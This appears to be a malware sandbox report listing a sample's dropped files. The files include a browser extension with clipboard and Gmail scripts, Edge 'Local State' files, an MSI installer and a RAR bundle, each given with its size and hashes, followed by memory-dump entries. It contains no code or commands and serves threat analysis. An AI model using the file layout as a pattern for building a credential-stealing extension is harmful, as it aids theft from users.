69477ac3ae1dbc9e696a37a7570f9c434b531f1b

SHA256
f81590fe38e059c006f6c9731c4d13976e76692e420fec6ec3bbd61e4cfb28d3

SHA512
979d4e17cb79cf200e318234d23a298773ae2c66d0f3aedf0b650f971c6de0610cff8cc964cd8eb14f257d7ae78203ea5cf8df639b63851ba033037a82e22123

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
edf1af1086913fce5496fea09cb94ee2

SHA1
8478cd34d7e272d4c8a16fb8b2c0ef2f9f959bcf

SHA256
23e1cae43c448d2ffcc406b684322d7eaeaebf4e0645738185ed0b08f9e4678e

SHA512
4e63dd3d6f15cf9cb521a6c1fa6452ef40c7e0a34ff0815663a5def23a76653f87007110fe5384b0b7b50fef52ba19673a2c6788e75b59455d750c95b8afeccc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
12KB

MD5
586585e1015c586bfb043930cc5d4379

SHA1
78e2803894ddbbd98ea71ca0ec59ffad8f32fdea

SHA256
c09a698d82d1e03d9cd4c8916e54e76644658bd48bad7aa9cf800e4dc5638b1d

SHA512
ef619027b54cdfb58a83c6f247285d9b35e7f0087be1a668a8b5c7a6ca79dc7802d1b122bb192dd75b53975c3327e21cd0fbc969acc9727f9dc2298b3c400ef9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
fcd9505cd91f220e10ddfb4612b70cc9

SHA1
38c7433a333d06209d0459a93573b1b5ee426417

SHA256
7ca9f40f019050876a41dd897580f699142899a78c7db2c0213f31b17de12e0d

SHA512
9f0c0e90b49f9ed52a7223d04d8f419c36c4aa2573d40c4d1c14650c9151efcdadaba2c1ade3c290646b5a2515e35ee7fc0b717ff84194f51448bcfa2db16137

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cbbhq0gr.lzb.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\WOWAHwfE\ico.png
Filesize
3KB

MD5
40de419c81de274c26c63e0f23d91a3f

SHA1
3fda2c10bf0d84aa327e107730b3596fcd13d4fd

SHA256
7d1878c4a74f2b7c6deb2efb39aa4c1cef86b8792efd2022644437cad6c48af3

SHA512
a6c0a9328941b31ab92d7de6bfedb7012a66e10f1726a3648d8314a49fd37dfbed06c199db04ddf6a0da6f9d42d9a78378ea67e7399fd847d48e4427bbb0ff99

Download Submit
C:\Users\Admin\AppData\Local\WOWAHwfE\manifest.json
Filesize
1KB

MD5
8ba2d2d1e6fd89f3043eec0dad4216ab

SHA1
c2febbb67dabee77db24ec31104b6a68c7533379

SHA256
d0712e7acca041bc67feac1ad82d95c9e270a6beca243875e6acb27a0ead3b97

SHA512
6ffe8803afd178e56a66fe2ba1e267b71a3d4b52b47662d97dc8c5472a545aaa62502b303954c7b59bc648b214583a26fd5304cbdd4d033956953e92081bd29a

Download Submit
C:\Users\Admin\AppData\Local\WOWAHwfE\src\content\clipboard.js
Filesize
15KB

MD5
bdf60c34cb1b038273eda1676841cc38

SHA1
227865ea805c2105f8db3c2cac5a6ad6b177c036

SHA256
0988328127ecadb27c64d6df9af2f3c4b3fb6ac9ff80f5ffab1d95f004f0c6a1

SHA512
610e2e0295f39291f3cd7d992f26bb5ef9253cfd2ada906e86819d73bf52e98eed8c5456dff9276085b134e1ad8d87b1c7afef55b8d5f42beffc3e8ae9b637cd

Download Submit
C:\Users\Admin\AppData\Local\WOWAHwfE\src\content\main.js
Filesize
264KB

MD5
ea6e82a9d53f957f3dbeaf69e8701ccb

SHA1
ea35af512feb5cc1ea4977d6604ab86502b0332c

SHA256
f64c86921e808fcf752f6f3c52c4ab57b78dc5bde4793a04cd158ee4c1f10300

SHA512
43a559a816b3343154d0e3db934c47617703553a07ddf35366cd1955f1e5a46bc8c7454309df2a117dfcffe13f3e88eb78247a904fad8d7aec05a1a3c59d50ec

Download Submit
C:\Users\Admin\AppData\Local\WOWAHwfE\src\mails\gmail.js
Filesize
314KB

MD5
c74d352ebf4b396cbe1cf3fbc2eb38bc

SHA1
5403472837fdf5e29a2b6545cd122b1e92703241

SHA256
7c641c48d4605f0fe3e681caaf6e7672134cda59fbf728e3bc15b97ff7fba214

SHA512
ba0f874119860a653601f1eb696a6c3d7e08b6693682b5cbc4a4ab73b67881311aa9f347a51cb709cc8216292d50d7329913d427239f21a12584c174a93db2d7

Download Submit
C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\UnRAR.exe
Filesize
494KB

MD5
98ccd44353f7bc5bad1bc6ba9ae0cd68

SHA1
76a4e5bf8d298800c886d29f85ee629e7726052d

SHA256
e51021f6cb20efbd2169f2a2da10ce1abca58b4f5f30fbf4bae931e4ecaac99b

SHA512
d6e8146a1055a59cba5e2aaf47f6cb184acdbe28e42ec3daebf1961a91cec5904554d9d433ebf943dd3639c239ef11560fa49f00e1cff02e11cd8d3506c4125f

Download Submit
C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\nijboq.rar
Filesize
381KB

MD5
11d4bab29ab797a9980213b62219146d

SHA1
d4fa5114db5794fafdfcdbb126e971787e5cf044

SHA256
83f0b8bb7f9dc915c218b6506708e35422f88bda83f75ec80e7ea556263eb3f0

SHA512
9cd615b36a7f9eb03c1cb39186e5b78102be897cb5b83549162d5bb3d646dc9f1b022ef04cc94e8e0d053c5b0218fc337b1eeba62dc6210f16a2ac3b9a662bc9

Download Submit
C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\rnp.dll
Filesize
1013KB

MD5
c03d837a6f7f4b073e5fa9c5916bafc6

SHA1
15b068f58206f7ddbf890b9c34bd3ff36d8a88b3

SHA256
ceeae4888da92ef0a5c1c9fd61980d5b1484efdec1d63206da5b4b072059a1bd

SHA512
94ae88782357f1a4372abb05082e32f17874b3d9b3177a1e106e8136ac72fc70d076a44b3f1f9e7b660e810fac5aa623331be0ac93967e73b83969ad76369e20

Download Submit
C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\rnpkeys.exe
Filesize
780KB

MD5
ae63517a3ce7949a2c084cd7541c2fd8

SHA1
8dafa610a0c3aa6ee2e50f657c90757bfae80336

SHA256
14b6f5c640c73cdd99e5834e7a56ab3d2912abe623bf5e41946154dad69e5f26

SHA512
fd5a85d902b376226d14bafe7c9ad9aabfc5245c61e2c3c17d12227dccbd9aee3b21e59a9357349dabcdc5ecafda9fc2ab737e8f06d7b7490931648021b3c1f3

Download Submit
C:\Users\Admin\Downloads\x64__installer___x32__.zip
Filesize
35.3MB

MD5
9021e29a32220f5b496413462d76c2d9

SHA1
7ac08cc05a780abcb951cd3ee7ede684c5a07e11

SHA256
73d87a3da89215038b075ff6ad3f6070628c419187c71a46e0de1d63bb492b7e

SHA512
6aeef1c036a579156981011276c5133368df505386a7bac22391c03f5540a19155953bdd88a0d1bf1079db46518eb61d0311bd4aa5b4efdcc8d49fe297f5dc9f

Download Submit
C:\Users\Admin\Downloads\x64__installer___x32__.zip:Zone.Identifier
Filesize
26B

MD5
fbccf14d504b7b2dbcb5a5bda75bd93b

SHA1
d59fc84cdd5217c6cf74785703655f78da6b582b

SHA256
eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913

SHA512
aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98

Download Submit
C:\Users\Admin\Downloads\x64__installer___x32__\__x64___setup___x32__.zip
Filesize
35.2MB

MD5
2056f8a827f06aaeb8249f9640758d27

SHA1
5aee7e3b88f7971411b496d8a63b2dfb267e06d7

SHA256
1ebd1c16b956a1e29d6b71f621dde5f12326aa8422df421d4dc4b4b7885f48ec

SHA512
98bdcd99438bc10ddbb93d2e17b7cbd33923bbfb8576ebfe039a770db861fdd48408e257a729356a6d6e8c749ba09fb12acf6311985c8d088cfbab73a6a8e1c3

Download Submit
C:\Users\Admin\Downloads\x64__installer___x32__\__x64___setup___x32__\setup.msi
Filesize
34.8MB

MD5
77ddd7b9a9801ba2dd0d8c50ede91414

SHA1
d1b2de7ff073fbab724744df05e05845079823d9

SHA256
afd83007de057517ec6a9986e47fb95e39603d72a8e529eaf149547b89b0757f

SHA512
b9256fa59bdc0cefe57614a49d61b9c0e385f893a54191e984be34a96a04eb9ee26a99f9368675a0c148cb0d239b9dbddbc5ca71f07e4cb2a390ee78de3103ee

Download Submit
C:\Windows\Installer\MSID5AA.tmp
Filesize
738KB

MD5
b158d8d605571ea47a238df5ab43dfaa

SHA1
bb91ae1f2f7142b9099e3cc285f4f5b84de568e4

SHA256
ca763693cc25d316f14a9ebad80ebf00590329550c45adb7e5205486533c2504

SHA512
56aef59c198acf2fcd0d95ea6e32ce1c706e5098a0800feff13ddb427bfb4d538de1c415a5cb5496b09a5825155e3abb1c13c8c37dc31549604bd4d63cb70591

Download Submit
C:\Windows\Installer\MSID699.tmp
Filesize
1.1MB

MD5
1a2b237796742c26b11a008d0b175e29

SHA1
cfd5affcfb3b6fd407e58dfc7187fad4f186ea18

SHA256
81e0df47bcb2b3380fb0fb58b0d673be4ef1b0367fd2b0d80ab8ee292fc8f730

SHA512
3135d866bf91f9e09b980dd649582072df1f53eabe4c5ac5d34fff1aeb5b6fa01d38d87fc31de19a0887a910e95309bcf0e7ae54e6e8ed2469feb64da4a4f9e5

Download Submit
C:\Windows\Installer\MSIE10B.tmp
Filesize
364KB

MD5
54d74546c6afe67b3d118c3c477c159a

SHA1
957f08beb7e27e657cd83d8ee50388b887935fae

SHA256
f9956417af079e428631a6c921b79716d960c3b4917c6b7d17ff3cb945f18611

SHA512
d27750b913cc2b7388e9948f42385d0b4124e48335ae7fc0bc6971f4f807dbc9af63fe88675bc440eb42b9a92551bf2d77130b1633ddda90866616b583ae924f

Download Submit
\??\pipe\LOCAL\crashpad_1476_RIXUPZTVLBLQDSOO
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/420-388-0x000002AE23360000-0x000002AE23385000-memory.dmp

Filesize
148KB

Download
memory/420-387-0x000002AE23350000-0x000002AE23351000-memory.dmp

Filesize
4KB

Download
memory/1420-413-0x0000026675360000-0x000002667537C000-memory.dmp

Filesize
112KB

Download
memory/1420-459-0x0000026675820000-0x00000266759E2000-memory.dmp

Filesize
1.8MB

Download
memory/1420-460-0x0000026675F20000-0x0000026676448000-memory.dmp

Filesize
5.2MB

Download
memory/1420-393-0x000002665D040000-0x000002665D062000-memory.dmp

Filesize
136KB

Download
memory/2224-391-0x00000000003C0000-0x00000000003E8000-memory.dmp

Filesize
160KB

Download
memory/2224-421-0x0000000004D90000-0x0000000005190000-memory.dmp

Filesize
4.0MB

Download
memory/2224-426-0x0000000004D90000-0x0000000005190000-memory.dmp

Filesize
4.0MB

Download
memory/2224-436-0x00000000769C0000-0x0000000076C12000-memory.dmp

Filesize
2.3MB

Download
memory/2224-389-0x00000000003C0000-0x00000000003E8000-memory.dmp

Filesize
160KB

Download
memory/2224-390-0x00000000003C0000-0x00000000003E8000-memory.dmp

Filesize
160KB

Download
memory/2224-434-0x00007FF96A5A0000-0x00007FF96A7A9000-memory.dmp

Filesize
2.0MB

Download
memory/3268-437-0x0000000000380000-0x0000000000389000-memory.dmp

Filesize
36KB

Download
memory/3268-439-0x00000000021E0000-0x00000000025E0000-memory.dmp

Filesize
4.0MB

Download
memory/3268-442-0x00000000769C0000-0x0000000076C12000-memory.dmp

Filesize
2.3MB

Download
memory/3268-440-0x00007FF96A5A0000-0x00007FF96A7A9000-memory.dmp

Filesize
2.0MB

Download